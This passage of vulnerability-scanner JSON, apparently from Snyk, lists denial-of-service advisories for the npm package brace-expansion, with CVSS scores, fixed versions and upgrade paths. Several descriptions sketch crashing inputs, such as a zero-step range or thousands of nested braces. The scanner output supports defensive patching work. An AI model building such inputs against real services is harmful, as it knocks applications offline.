"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
